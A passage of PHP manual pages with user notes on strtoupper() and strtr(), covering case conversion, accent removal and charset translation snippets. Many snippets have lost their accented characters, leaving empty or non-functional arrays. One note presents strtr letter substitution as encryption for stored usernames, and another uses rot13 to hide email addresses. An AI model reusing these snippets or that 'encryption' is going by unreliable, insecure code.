01-Aug-2005 06:46
The code for Polish programmers was spolied a little bit - \xB3 should be turned into \xA3, not the opposite. So the correct code is:

function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xA3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xB3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
}
topera at gmail dot com
14-Jul-2005 11:52
I'm using the function stringUpDown() (from Jose Roberto Kerne), and I found one problem:

<?
echo stringUpDown("");
// returns "", and it is wrong
// the correct value is:""
?>

To fix it, I changed this:

<?php

   // begin of the function ......

   $arrayLower=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

   $arrayUpper=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

   // end of the function ......

?>

to this:

<?php

   // begin of the function ......

   $arrayLower=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

   $arrayUpper=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

   // end of the function ......

?>

(I changed the array's position)

Rafael Pereira dos Santos
kirsman
08-Jul-2005 01:37
For polish programmers:

function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xA3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xB3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
30-May-2005 09:11
// 2005/5/30 Justin
   // Chinese_Traditional toupper
   function CT_to_upper($string)
   {
       $isChineseStart = false;

         $new_string = "";
         $i = 0;
         while($i < strlen($string))
         {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
         }
         return $new_string;
   }
   //
Justin_Lin at mail2000 dot com dot tw
30-May-2005 09:09
The following is my code for translate a given string to upper case and it will support chinese traditional :

// 2005/5/30 Justin
// Chinese_Traditional toupper
function CT_to_upper($string)
{
   $isChineseStart = false;

   $new_string = "";
   $i = 0;
   while($i < strlen($string))
   {
           if (ord(substr($string,$i,1)) <128)
           {
           if( $isChineseStart == false )
               $new_string .= strtoupper(mb_substr($string,$i,1));
           else
               $new_string .= substr($string,$i,1);
             }
             else
             {
           if( $isChineseStart == false )
                 $isChineseStart = true;
           else
               $isChineseStart = false;
             $new_string .= substr($string,$i,1);
             }
             $i++;
     }
     return $new_string;
}
//
willyann at gmail dot com
25-May-2005 12:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
13-Mar-2005 09:08
Ah, the last code were spoiled, here is the fixed one:

<?php

function str_to_upper($str){
   return strtr($str,
   "abcdefghijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFD\xFE\xFF",
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDD\xDE\x9F");
}

?>

So, this function changes also other letters into uppercase, strtoupper() does only change: a-z to: A-Z.
13-Mar-2005 02:18
This function changes also other letters into uppercase, strtoupper() does only change: a-z to: A-Z.

<?php

function str_to_upper($str){
   return strtr($str, "abcdefghijklmnopqrstuvwxyz", "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
}

?>
WM-Joep
13-Dec-2004 02:26
you can make a 'key-generator' with strtoupper too!

function MaakCode($lengte=10) {
   // De tekens die voorkomen in de code
   $tekens = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 0);
   $code = '';

   for($i = 1; $i <= $lengte; $i++)
     $code .= $tekens[rand(0,10)];

   return strtoupper($code);
31-Oct-2004 06:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
Luke (webmaster--@--zeyus--dot--com)
14-May-2004 04:18
Just a comment on Jose Roberto Kerne's script (which should work perfectly), it should be able to be cut down to this, as str_replace accepts array values (as of ??? php version), the only difference is this should be quicker and obviously array values could be replaced with any characters (or sets of strings) you want to be replaced

<?php
function stringUpDown($text, $up = true){

   # Convert values from Lower to Upper
   $arrayLower=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

   $arrayUpper=array(''
   ,'','','','',''
   ,'','','',''
   ,'','','',''
   ,'','','','',''
   ,'','','','');

if($text == ''){
   return $text;
}

if($up != true) {
   $text=strtolower($text);
   $text=str_replace($arrayUpper, $arrayLower, $text);
}else{
   $text=strtoupper($text);
   $text=str_replace($arrayLower, $arrayUpper, $text);
}
   return($text);
} #end of function
?>
p dot thomas at inlive dot info
03-Apr-2004 08:02
Some bench :

String Copy, OUT=IN : 21.398067474365 ms

String TRANSFORMATION :

- strtolower : 383.09001922607 ms
- strtolower( strtr) : 267.36092567444 ms
- preg_replace : 16624.928951263 ms
- stringUpDown : 4013.0908489227 ms

IN : jehrjzh r''_- &(r&)  EAZREZREZ^m
OUT : jehrjzh r''_- &(r&)  eazrezrez^m

Platform : AMD 1 Ghz, Win2K, EasyPHP
martine
07-Feb-2004 11:41
This may save you time and effort (if you need to convert european languages such as Czech, Portugees, German or Swedish)

the function mb_strtoupper() converts all accented characters in the latin alphabet, ie. , , ,  etc. This is easier than some of the suggestions below. It should also convert case properly for russian, etc.
mec at stadeleck dot org
02-Dec-2002 10:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).
urudz at strategma dot bg
22-Apr-2002 12:49
on linux
php gets LC_LOCAL env variable therefor you must set this

export LC_ALL=bg_BG.CP1251
export LANG=bg_BG.CP1251

before starting of apache i have put this to lines in /etc/rc.d/rc.httpd
-----

cat /etc/rc.d/rc.httpd
#!/bin/sh
#
# Start the Apache web server
#

export LC_ALL=bg_BG.CP1251
export LANG=bg_BG.CP1251

case "$1" in
   'start')
     /usr/sbin/apachectl startssl ;;
   'stop')
     /usr/sbin/apachectl stop ;;
   'restart')
     /usr/sbin/apachectl restart ;;
   *)
     echo "usage $0 start|stop|restart" ;;
esac
-------

in windows you must define your "locale"
in control panel  > regional options > general

best regards urudz :>
add a note add a note

后退 | 起点 | 前进
strtolower | 上一级 | strtr


strtr

(PHP 3, PHP 4, PHP 5)

strtr -- Translate certain characters

Description

string strtr ( string str, string from, string to )

string strtr ( string str, array replace_pairs )

This function returns a copy of str, translating all occurrences of each character in from to the corresponding character in to.

If from and to are different lengths, the extra characters in the longer of the two are ignored.

例子 1. strtr() example

<?php
$addr = strtr($addr, "", "aao");
?>

strtr() may be called with only two arguments. If called with two arguments it behaves in a new way: from then has to be an array that contains string -> string pairs that will be replaced in the source string. strtr() will always look for the longest possible match first and will *NOT* try to replace stuff that it has already worked on.

例子 2. strtr() example with two arguments

<?php
$trans = array("hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

This will show:

hello all, I said hi

注: This optional to and from parameters were added in PHP 4.0.0

See also ereg_replace().

add a note add a note User Contributed Notes
joeldegan AT yahoo
07-Apr-2006 11:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
   $good[] = 9;  #tab
   $good[] = 10; #nl
   $good[] = 13; #cr
   for($a=32;$a<127;$a++){
       $good[] = $a;
   }
   $len = strlen($str);
   for($b=0;$b < $len+1; $b++){
       if(in_array(ord($str[$b]), $good)){
           $newstr .= $str[$b];
       }//fi
   }//rof
   return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com
29-Dec-2005 11:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz
20-Dec-2005 06:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

   $str = StrTr($str,
       "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
       "\x61\x63\x64\x65\x65\x69\x6E");

   $str = StrTr($str,
       "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
       "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

   $str = StrTr($str,
       "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
       "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

   $str = StrTr($str,
       "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
       "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

   return $str;
}
?>
Sanate at seznam dot cz
08-Dec-2005 07:30
// Translates  iso-8859-2  into  UTF-8

function latin2_to_utf8($text) {
$trans = array(
   chr(225)=>'', chr(193)=>'', chr(232)=>'', chr(200)=>'', chr(239)=>'', chr(207)=>'',
   chr(233)=>'', chr(201)=>'', chr(236)=>'', chr(204)=>'', chr(237)=>'', chr(205)=>'',
   chr(181)=>'', chr(165)=>'', chr(242)=>'', chr(210)=>'', chr(243)=>'', chr(211)=>'',
   chr(248)=>'', chr(216)=>'', chr(185)=>'', chr(169)=>'', chr(187)=>'', chr(171)=>'',
   chr(250)=>'', chr(218)=>'', chr(249)=>'', chr(217)=>'', chr(253)=>'', chr(221)=>'',
   chr(190)=>'', chr(174)=>'', chr(180)=>"'"
   );
  return  strtr($text, $trans);
}

// enjoy! :)
derernst at gmx dot ch
21-Sep-2005 01:29
This works for me to remove accents for some characters of Latin-1, Latin-2 and Turkish in a UTF-8 environment, where the htmlentities-based solutions fail:

<?php
function remove_accents($string, $german=false) {
   // Single letters
   $single_fr = explode(" ", "      &#260; &#258;  &#262; &#268; &#270; &#272;      &#280; &#282; &#286;    &#304; &#321; &#317; &#313;  &#323; &#327;      &#336; &#340; &#344;  &#346; &#350; &#356; &#354;    &#366; &#368;  &#377; &#379;      &#261; &#259;  &#263; &#269; &#271; &#273;    &#281; &#283; &#287;    &#305; &#322; &#318; &#314;  &#324; &#328;        &#337; &#341; &#345; &#347;  &#351; &#357; &#355;    &#367; &#369;    &#378; &#380;");
   $single_to = explode(" ", "A A A A A A A A C C C D D D E E E E E E G I I I I I L L L N N N O O O O O O O R R S S S T T U U U U U U Y Z Z Z a a a a a a a a c c c d d e e e e e e g i i i i i l l l n n n o o o o o o o o r r s s s t t u u u u u u y y z z z");
   $single = array();
   for ($i=0; $i<count($single_fr); $i++) {
       $single[$single_fr[$i]] = $single_to[$i];
   }
   // Ligatures
   $ligatures = array(""=>"Ae", ""=>"ae", ""=>"Oe", ""=>"oe", ""=>"ss");
   // German umlauts
   $umlauts = array(""=>"Ae", ""=>"ae", ""=>"Oe", ""=>"oe", ""=>"Ue", ""=>"ue");
   // Replace
   $replacements = array_merge($single, $ligatures);
   if ($german) $replacements = array_merge($replacements, $umlauts);
   $string = strtr($string, $replacements);
   return $string;
}
?>

I am sorry as the display of the user notes is broken the character lists shown will not be useable by now, but you see the principle. Speakers of certain languages might want to suggest changes or additions to the character lists.

Characters are divided by spaces and explode()d because I am on PHP4, and other splitting methods fail with double byte characters. In PHP5 split() might help, too.

The advantage of this approach is that non-latin characters remain untouched.
derernst at gmx dot ch
19-Sep-2005 09:24
Additional to ru dot dy at gmx dot net's code:
1. You might want to convert &szlig; to ss additionally
2. There could be impacts with other languages that use the umlaut characters:  -> ae conversion for northern european languages such as Swedish, or  -> ue conversion for Turkish. It would be useful if speakers of these and other languages could post their languages' correct conversions here.
anonymous at hotmail dot com
14-Sep-2005 03:03
Usefull remove Accent function:

return strtr($string,
"
",
"SOZsozYYuAAAAAAACEEEEIIIIDNOO
OOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy");
Ezbakhe Yassin <yassin88 at gmail dot com>
01-Sep-2005 06:55
Here you are a simple function to rotate a variable according to an array of possible values. You can make a strict comparison (===).

<?php
function rotateValue($string, $values, $strict = TRUE)
{
   if (!empty($string) AND is_array($values))
   {
       $valuesCount = count($values);

       for ($i = 0; $i < $valuesCount; $i++)
       {
           if ($strict ? ($string === $values[$i]) : ($string == $values[$i]))
           {
               return $values[($i + 1) % $valuesCount];
           }
       }
   }

   return FALSE;
}
?>

For example:

- rotateValue("A", array("A", "B", "C")) will return "B"
- rotateValue("C", array("A", "B", "C")) will return "A"
stefan
19-Jul-2005 09:46
there is obviously an S missing in getRewriteString from above:

function getRewriteString($sString) {
   $string    = htmlentities(strtolower($sString));
   $string    = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
   $string    = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
   $string    = trim($string, "-");
   return $string;
}
ru dot dy at gmx dot net
11-Jul-2005 07:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
ru dot dy at gmx dot net
11-Jul-2005 06:53
The function 'getWriteString' for parsing URLs below is very useful, but it has a little bug. PHP strtolower does not recognize capitalized accented characters. The result is that they are replaced with '-'. To correct this, change the first line in the function from:
<?php  $string = htmlentities(strtolower($string)); ?>
into:
<?php  $string = strtolower(htmlentities($sString)); ?>
Theres another Problem with search-engines, regarding german keywords with umlaute. Searchengines such as Google replace german umlaute with a following 'e'. Replacing the umlaute in words just with their unaccented characters gives the word another or no sense. The result of this is that the contained keyword in the url is incorrect and brings minor advantage for the pagerank of the site. At last, this did it for me:
<?php
function getRewriteString($sString) {
   $string = strtolower( htmlentities( strtr($sString, array(""=>"Ae", ""=>"Ue", ""=>"Oe", ""=>"ae", ""=>"ue", ""=>"oe")) ) );
   $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
   $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
   $string = trim($string, "-");
   return $string;
}
?>
Jay K
04-May-2005 12:22
Several people have suggested using str_replace instead of strtr... Here is why that will not always work....

<?
   $string = "This is a BIG test with SMALL RESULT\n";
   $repl = array('BIG' => 'SMALL', 'SMALL' => 'BIG');
   echo str_replace(array_keys($repl), array_values($repl), $string);
   echo strtr($string, $repl);
?>

Results in:

This is a BIG test with BIG RESULT
This is a SMALL test with BIG RESULT

Notice that str_replace will replace previous replacements and strtr will not.
-sven (www.bitcetera.com)
21-Apr-2005 02:48
And while we're at it, yet another transcriber (the code formerly known as accent remover). It does accents and umlauts, but also ligatures and runes known to ISO-8859-1. The translation strings must be on one line without any whitespaces in it. They are rendered hardwrapped here because this documentation doesn't allow long lines in notes.

function transcribe($string) {
   $string = strtr($string,
       "\xA1\xAA\xBA\xBF\xC0\xC1\xC2\xC3\xC5\xC7
       \xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1
       \xD2\xD3\xD4\xD5\xD8\xD9\xDA\xDB\xDD\xE0
       \xE1\xE2\xE3\xE5\xE7\xE8\xE9\xEA\xEB\xEC
       \xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF8
       \xF9\xFA\xFB\xFD\xFF",
       "!ao?AAAAAC
       EEEEIIIIDN
       OOOOOUUUYa
       aaaaceeeei
       iiidnooooo
       uuuyy");
   $string = strtr($string, array("\xC4"=>"Ae", "\xC6"=>"AE", "\xD6"=>"Oe", "\xDC"=>"Ue", "\xDE"=>"TH", "\xDF"=>"ss", "\xE4"=>"ae", "\xE6"=>"ae", "\xF6"=>"oe", "\xFC"=>"ue", "\xFE"=>"th"));
   return($string);
}

(Funky: ISO-8859-1 does not cover the french "oe" ligature.)
info at oscaralexander dot com
13-Apr-2005 03:32
Here's a nice function for parsing a string to something suitable for URL rewriting (mod_rewrite). It translates all accented characters to their non-accented equivalents and replaces all other non-alphanumeric character with dashes:

function getRewriteString($sString) {
   $string    = htmlentities(strtolower($string));
   $string    = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
   $string    = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
   $string    = trim($string, "-");
   return $string;
}
Stian
03-Mar-2005 05:58
elonen forgot the  character (\xf8)
A (more) complete accent remover:

$txt = strtr($txt,
 "\xe1\xc1\xe0\xc0\xe2\xc2\xe4\xc4\xe3\xc3\xe5\xc5".
 "\xaa\xe7\xc7\xe9\xc9\xe8\xc8\xea\xca\xeb\xcb\xed".
 "\xcd\xec\xcc\xee\xce\xef\xcf\xf1\xd1\xf3\xd3\xf2".
 "\xd2\xf4\xd4\xf6\xd6\xf5\xd5\x8\xd8\xba\xf0\xfa\xda".
 "\xf9\xd9\xfb\xdb\xfc\xdc\xfd\xdd\xff\xe6\xc6\xdf\xf8",
 "aAaAaAaAaAaAacCeEeEeEeEiIiIiIiInNo".
 "OoOoOoOoOoOoouUuUuUuUyYyaAso");
elonen at iki dot fi
26-Feb-2005 04:24
Yet another accent remover, this time pretty complete and without any 8-bit characters in the script itself:

$txt = strtr($txt,
 "\xe1\xc1\xe0\xc0\xe2\xc2\xe4\xc4\xe3\xc3\xe5\xc5".
 "\xaa\xe7\xc7\xe9\xc9\xe8\xc8\xea\xca\xeb\xcb\xed".
 "\xcd\xec\xcc\xee\xce\xef\xcf\xf1\xd1\xf3\xd3\xf2".
 "\xd2\xf4\xd4\xf6\xd6\xf5\xd5\x8\xd8\xba\xf0\xfa".
 "\xda\xf9\xd9\xfb\xdb\xfc\xdc\xfd\xdd\xff\xe6\xc6\xdf",
 "aAaAaAaAaAaAacCeEeEeEeEiIiIiIiInNoOoOoOoOoOoOoouUuUuUuUyYyaAs");
patrick at p-roocks dot de
07-Feb-2005 06:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
Daijoubu
12-Jan-2005 07:19
Wouldn't:
<?php
$s = str_replace(array_key($replace_array), array_value($replace_array), $s);
?>
be faster?
Perhaps even faster using 2 seperate arrays...
11-Dec-2004 09:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
oliver at modix dot de
22-Oct-2004 04:08
Replace control characters in a binary string:
<?

function cc_replace($in) {
       for ($i = 0; $i <= 31; $i++) {
               $from  .= chr($i);
               $to    .= ".";
       }
       return strtr($in, $from, $to);
}

?>
ktogias at math dot upatras dot gr
23-Sep-2004 06:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
       $replacement=array(
               array("","","",""),
               array("","","",""),
               array("","","",""),
               array("","","","","",""),
               array("","","",""),
               array("","","","","",""),
               array("","","","")
       );
       foreach($replacement as $group){
               foreach($group as $character){
                       $exp="[";
                       foreach($group as $expcharacter){
                               $exp.=$expcharacter;
                       }
                       $exp.="]";
                       $trans[$character]=$exp;
               }
       }
       $temp=explode(" ", $mystring);
       for ($i=0;$i<sizeof($temp);$i++){
               $temp[$i]=strtr($temp[$i],$trans);
               $temp[$i]=addslashes($temp[$i]);
       }
       return implode(".*",$temp);
}

$match=gr_regexp("  ");

//The next query string can be sent to MySQL
through mysql_query()
$query=
     "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
from-php-net dot ticket at raf256 dot com
05-Jun-2004 07:59
Hi, before I found strtr() function I quickly wrote own repleacement, if someone is interested,

// by http://www.raf256.com - Rafal Maj
function ConvCharset($from,$to,$s) {
  $l=strlen($s);
  $S=''; // out put
  for ($i=0; $i<$l; $i++) {
   $c=$s[$i]; // curr char
   $x=strpos($from, $c);
   if ($x!==FALSE) $c=$to[$x];
   $S.=$c;
  }
  return $S;
}
volkris at tamu dot edu
19-Mar-2004 10:25
Regarding christophe's conversion, note that the \x## values should be in double quotes, not single, so that the escape will be applied.
christophe at publicityweb dot com
27-Feb-2004 04:04
Latin1 (iso-8859-1) DONT define chars \x80-\x9f (128-159),
but Windows charset 1252 defines _some_ of them
-- like the infamous msoffice 'magic quotes' (\x92 146).
Dont use those invalid control chars in webpages,
but their html (unicode) entities. See ftp.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT
or http://www.microsoft.com/typography/unicode/1252.htm
PS: a '?' in the code means the win-cp1252 dont define the given char.

$badlatin1_cp1252_to_htmlent =
  array(
   '\x80'=>'&#x20AC;', '\x81'=>'?', '\x82'=>'&#x201A;', '\x83'=>'&#x0192;',
   '\x84'=>'&#x201E;', '\x85'=>'&#x2026;', '\x86'=>'&#x2020;', \x87'=>'&#x2021;',
   '\x88'=>'&#x02C6;', '\x89'=>'&#x2030;', '\x8A'=>'&#x0160;', '\x8B'=>'&#x2039;',
   '\x8C'=>'&#x0152;', '\x8D'=>'?', '\x8E'=>'&#x017D;', '\x8F'=>'?',
   '\x90'=>'?', '\x91'=>'&#x2018;', '\x92'=>'&#x2019;', '\x93'=>'&#x201C;',
   '\x94'=>'&#x201D;', '\x95'=>'&#x2022;', '\x96'=>'&#x2013;', '\x97'=>'&#x2014;',
   '\x98'=>'&#x02DC;', '\x99'=>'&#x2122;', '\x9A'=>'&#x0161;', '\x9B'=>'&#x203A;',
   '\x9C'=>'&#x0153;', '\x9D'=>'?', '\x9E'=>'&#x017E;', '\x9F'=>'&#x0178;'
  );
$str = strtr($str, $badlatin1_cp1252_to_htmlent);
rortiz_reyes at hotmail dot com
27-Jan-2004 01:15
If you have trouble accessing a file which has an accented or tilde letter (,,,,, or ) via Internet Explorer use the following translation table:

$trans = array("" => "%E1", "" => "%E9", "" => "%ED", "" => "%F3","" => "%FA", "" => "%D1",
"" => "%A1", "" => "%A9", "" => "%AD", "" => "%B3","" => "%BA", "" => "%F1");

To obtain the translation for other special characters not used in English (for example, ), type a fictitious filename on the Netscape 7.1 address bar (including URL, for example www.url.com/.jpg) and press enter.  Netscape traslates the character while Explorer simply can't handle it.

Seems like another bug on Explorer 6.0...

Regards,

Ricardo Ortiz R.
j at pureftpd dot org
01-Dec-2003 12:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
   return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli
30-Oct-2003 05:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
             $text = strtr($text, $double_break);
             $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
Sanate at seznam dot cz
17-Jul-2003 08:51
// Hello to all Czech and Slovak people!
// I hope this function can be useful and easier to find here,
// than at the original source (and opposite direction). :
//                  http://www.kosek.cz/clanky/tipy/qa07.html
// s pozdravem  Filip Rydlo  z Pohodasoftware.Cz

function latin2_to_win1250($text) {  // chce text v iso-88592
$text = StrTr($text, "\xA\xAB\xAE\xB\xBB\xBE",
                           "\x8A\x8D\x8E\x9A\x9D\x9E");
return $text;
}
mykel at has dot it
06-Feb-2003 10:08
strtr is a usefull encoding mechinism instead of using str_rot13. you can impliment it when you write usernames to a file, for example. but know that it is easy to crack your encription.
an example:
<?php
$unencripted = "hello";
$from = "abcdefghijklmnopqrstuvwxyz";
$to =    "zyxwvutsrqponmlkjihgfedcba";
$temp = strtr($unencripted, $from, $to);
/* will return svool */
?>
hotmail - marksteward
27-Nov-2002 11:39
Referring to note from 11 October 2000, Thorn (, ), Eth (, ), Esset () and Mu () aren't really accented letters.  , , ,  are ligatures.  Best to do the following:

function removeaccents($string){
 return strtr(
  strtr($string,
   '',
   'SZszYAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy'),
  array('' => 'TH', '' => 'th', '' => 'DH', '' => 'dh', '' => 'ss',
   '' => 'OE', '' => 'oe', '' => 'AE', '' => 'ae', '' => 'u'));
}

This would be no good for sorting, as thorn and eth aren't actually found under th and dh.  Also especially redundant because of Unicode!  Still, I'm sure somone can find use for it - perhaps to constrict filenames...

Mark
m dot frank at beam dot ag
22-Nov-2002 09:12
to get the ascii equivalent of unicode characters simply use the

utf8_decode() function
marco dot colombo at nexor dot it
12-Nov-2002 10:20
Suppose you're trying to remove any character not in your set, i've found this very helpfull:

function my_remove($string, $my_set, $new=" ", $black="#")
{

  $first = strtr( $string, $my_set,
                   str_repeat($black, strlen($my_set)) );

  $second = strtr( $string, $first,
                   str_repeat($new, strlen($first)) );

  return $second;
};

NOTE that all non-wanted character will be replace with $new,
note also that $black must NOT to exist in $my_set.

Molok
bisqwit at iki dot fi
11-Aug-2002 01:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
             'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu
17-Jul-2002 08:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the  by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com
19-Apr-2002 12:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
   function str_rot13($str) {
       $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
       $to  = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

       return strtr($str, $from, $to);
   }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se
24-Nov-2001 01:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.
persiflage2000 at yahoo dot com
02-Aug-2001 08:49
To replace unicode characters with their ascii equivalents, use

$my_string = strtr($my_string, $unicode_array);

using this array:

$unicode_array = array(
       "&#8211;" => "-",
